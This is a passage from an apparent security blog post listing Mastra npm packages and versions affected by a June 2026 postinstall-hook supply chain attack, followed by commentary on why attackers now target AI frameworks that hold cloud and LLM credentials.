@mastra/openai | 1.0.2 | 2026-06-17 02:05:56 |
@mastra/files-sdk | 0.2.1 | 2026-06-17 02:06:22 |
@mastra/astra | 1.0.2 | 2026-06-17 02:06:47 |
@mastra/github-signals | 0.1.2 | 2026-06-17 02:07:15 |
@mastra/auth-cloud | 1.1.4 | 2026-06-17 02:08:45 |
@mastra/laminar | 1.2.3 | 2026-06-17 02:09:19 |
@mastra/browser-viewer | 0.1.3 | 2026-06-17 02:15:40 |
@mastra/twilio | 1.0.2 | 2026-06-17 02:16:23 |
@mastra/auth-studio | 1.2.4 | 2026-06-17 02:16:48 |
@mastra/agentfs | 0.1.1 | 2026-06-17 02:17:14 |
@mastra/opencode | 0.0.47 | 2026-06-17 02:17:42 |
@mastra/azure | 0.2.3 | 2026-06-17 02:18:10 |
@mastra/auth-okta | 0.0.5 | 2026-06-17 02:18:44 |
@mastra/brightdata | 0.2.2 | 2026-06-17 02:19:15 |
@mastra/slack | 1.3.1 | 2026-06-17 02:19:47 |
@mastra/elasticsearch | 1.2.1 | 2026-06-17 02:20:39 |
@mastra/auth-firebase | 1.0.1 | 2026-06-17 02:20:13 |
@mastra/google-drive | 0.1.1 | 2026-06-17 02:21:13 |
@mastra/mysql | 0.1.1 | 2026-06-17 02:21:40 |
@mastra/spanner | 1.1.2 | 2026-06-17 02:22:31 |
@mastra/arthur | 0.3.3 | 2026-06-17 02:22:03 |
@mastra/agentcore | 0.2.2 | 2026-06-17 02:23:27 |
@mastra/voice-azure | 0.11.2 | 2026-06-17 02:23:04 |
@mastra/codemod | 1.0.4 | 2026-06-17 02:23:58 |
@mastra/perplexity | 0.1.1 | 2026-06-17 02:24:27 |
@mastra/voice-speechify | 0.12.2 | 2026-06-17 02:24:57 |
@mastra/vercel | 1.0.1 | 2026-06-17 02:25:20 |
@mastra/modal | 0.2.2 | 2026-06-17 02:25:42 |
@mastra/voice-sarvam | 1.0.2 | 2026-06-17 02:26:57 |
@mastra/node-audio | 0.1.8 | 2026-06-17 02:26:04 |
@mastra/engine | 0.1.1 | 2026-06-17 02:26:27 |
@mastra/railway | 0.1.1 | 2026-06-17 02:27:26 |
@mastra/voice-murf | 0.12.3 | 2026-06-17 02:28:00 |
@mastra/mem0 | 0.1.14 | 2026-06-17 02:28:27 |
@mastra/browser-firecrawl | 0.1.1 | 2026-06-17 02:28:55 |
@mastra/voice-playai | 0.12.2 | 2026-06-17 02:29:59 |
@mastra/speech-openai | 0.2.1 | 2026-06-17 02:30:41 |
@mastra/cloud | 0.1.24 | 2026-06-17 02:30:20 |
@mastra/speech-speechify | 0.2.1 | 2026-06-17 02:31:34 |
@mastra/speech-ibm | 0.2.1 | 2026-06-17 02:31:12 |
@mastra/speech-murf | 0.2.1 | 2026-06-17 02:31:56 |
@mastra/speech-azure | 0.2.1 | 2026-06-17 02:32:20 |
@mastra/speech-google | 0.2.1 | 2026-06-17 02:32:39 |
@mastra/speech-replicate | 0.2.1 | 2026-06-17 02:33:09 |
@mastra/speech-elevenlabs | 0.2.1 | 2026-06-17 02:33:30 |
@mastra/deployer-cloudflare | 1.1.44 | 2026-06-17 01:47:44 |
@mastra/cloudflare | 1.4.2 | 2026-06-17 01:55:07 |
@mastra/voice-cloudflare | 0.12.3 | 2026-06-17 02:33:57 |
@mastra/voice-gladia | 0.12.2 | 2026-06-17 02:35:21 |
@mastra/dane | 1.0.2 | 2026-06-17 02:34:52 |
@mastra/voice-inworld | 0.3.1 | 2026-06-17 02:35:54 |
@mastra/voice-modelslab | 0.1.2 | 2026-06-17 02:34:26 |
@mastra/voice-xai-realtime | 0.1.2 | 2026-06-17 02:36:20 |
@mastra/node-speaker | 0.1.1 | (confirmed affected) |
@mastra/s3vectors | 1.0.7 | (confirmed affected) |
@mastra/duckdb | 1.4.3 | 2026-06-17 01:32:07 |
@mastra/core | 1.42.1 | 2026-06-17 01:15:13 |
mastra | 1.13.1 | (confirmed affected) |
The Broader Pattern: This Is Not Going to Stop
There’s a temptation to treat every supply chain attack as a unique incident. It isn’t. This is the third notable postinstall-hook attack in the npm ecosystem in recent months. The axios campaign used the same clean-then-poisoned pattern. Before that, node-ipc used a dependency update to introduce politically motivated destruction. Before that, event-stream.
The pattern is always the same. A trusted package (or one that impersonates a trusted package) gets a postinstall hook added. The hook runs before anyone looks at the code. By the time automated scanning picks it up, the window has already been open long enough.
What’s different about this one is the target. AI frameworks integrating with LLM providers and cloud infrastructure are the new crown jewels. The attacker who designed this campaign knew exactly what they were going for. They didn’t spray npm randomly – they picked the one ecosystem that, by design, runs inside environments with the most sensitive credentials in modern software development.
That’s the thing I keep coming back to. The technical execution here was good, but not extraordinary. What was extraordinary was the target selection.
This post first appeared at - The CyberSec Guru